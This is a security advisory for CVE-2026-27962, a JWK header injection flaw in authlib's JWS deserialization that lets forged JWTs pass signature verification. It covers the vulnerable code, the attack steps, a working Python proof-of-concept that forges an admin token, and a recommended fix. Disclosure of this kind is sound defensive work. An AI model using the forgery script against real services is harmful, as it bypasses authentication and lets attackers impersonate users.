PT-2026-25779 · Oauthlib+1 · Oauthlib
Jaynornj
+1
·
Published
2026-03-16
·
Updated
2026-03-16
·
CVE-2026-27962
CVSS v3.1
9.1
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
Description
Summary
A JWK Header Injection vulnerability in
authlib's JWS implementation allows an unauthenticated
attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed
to any JWS deserialization function, the library extracts and uses the cryptographic key embedded
in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own
private key, embed the matching public key in the header, and have the server accept the forged
token as cryptographically valid — bypassing authentication and authorization entirely.This behavior violates RFC 7515 §4.1.3 and the validation algorithm defined in RFC 7515 §5.2.
Details
Vulnerable file:
authlib/jose/rfc7515/jws.py
Vulnerable method: JsonWebSignature. prepare algorithm key()
Lines: 272–273elif key is None and "jwk" in header: key = header["jwk"] # ← attacker-controlled key used for verification
When
key=None is passed to jws.deserialize compact(), jws.deserialize json(), or
jws.deserialize(), the library checks the JWT header for a jwk field. If present, it extracts
that value — which is fully attacker-controlled — and uses it as the verification key.RFC 7515 violations:
- §4.1.3 explicitly states the
header parameter is "NOT RECOMMENDED" because keys embedded by the token submitter cannot be trusted as a verification anchor.jwk - §5.2 (Validation Algorithm) specifies the verification key MUST come from the application
context, not from the token itself. There is no step in the RFC that permits falling back to
the
header when no application key is provided.jwk
Why this is a library issue, not just a developer mistake:
The most common real-world trigger is a key resolver callable used for JWKS-based key lookup.
A developer writes:
def lookup key(header, payload): kid = header.get("kid") return jwks cache.get(kid) # returns None when kid is unknown/rotated jws.deserialize compact(token, lookup key)
When an attacker submits a token with an unknown
kid, the callable legitimately returns None.
The library then silently falls through to key = header["jwk"], trusting the attacker's embedded
key. The developer never wrote key=None — the library's fallback logic introduced it. The result
looks like a verified token with no exception raised, making the substitution invisible.Attack steps:
- Attacker generates an RSA or EC keypair.
- Attacker crafts a JWT payload with any desired claims (e.g.
).{"role": "admin"} - Attacker signs the JWT with their private key.
- Attacker embeds their public key in the JWT
header field.jwk - Attacker uses an unknown
to cause the key resolver to returnkid
.None - The library uses
for verification — signature passes.header["jwk"] - Forged claims are returned as authentic.
PoC
Tested against authlib 1.6.6 (HEAD
a9e4cfee, Python 3.11).Requirements:
pip install authlib cryptography
Exploit script:
from authlib.jose import JsonWebSignature, RSAKey import json jws = JsonWebSignature(["RS256"]) # Step 1: Attacker generates their own RSA keypair attacker private = RSAKey.generate key(2048, is private=True) attacker public jwk = attacker private.as dict(is private=False) # Step 2: Forge a JWT with elevated privileges, embed public key in header header = {"alg": "RS256", "jwk": attacker public jwk} forged payload = json.dumps({"sub": "attacker", "role": "admin"}).encode() forged token = jws.serialize compact(header, forged payload, attacker private) # Step 3: Server decodes with key=None — token is accepted result = jws.deserialize compact(forged token, None) claims = json.loads(result["payload"]) print(claims) # {'sub': 'attacker', 'role': 'admin'} assert claims["role"] == "admin" # PASSES
Expected output:
{'sub': 'attacker', 'role': 'admin'}
Docker (self-contained reproduction):
sudo docker run --rm authlib-cve-poc:latest python3 /workspace/pocs/poc auth001 jws jwk injection.py
Impact
This is an authentication and authorization bypass vulnerability. Any application using authlib's
JWS deserialization is affected when:
is passed directly, orkey=None- a key resolver callable returns
for unknown/rotatedNone
values (the common JWKS lookup pattern)kid
An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims
(admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys.
The forged token is indistinguishable from a legitimate one — no exception is raised.
This is a violation of RFC 7515 §4.1.3 and §5.2. The spec is unambiguous: the
jwk
header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from
the application context, not the token itself.Minimal fix — remove the fallback from
authlib/jose/rfc7515/jws.py:272-273:# DELETE: elif key is None and "jwk" in header: key = header["jwk"]
Recommended safe replacement — raise explicitly when no key is resolved:
if key is None: raise MissingKeyError("No key provided and no valid key resolvable from context.")
Fix
Improper Verification of Cryptographic Signature
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Oauthlib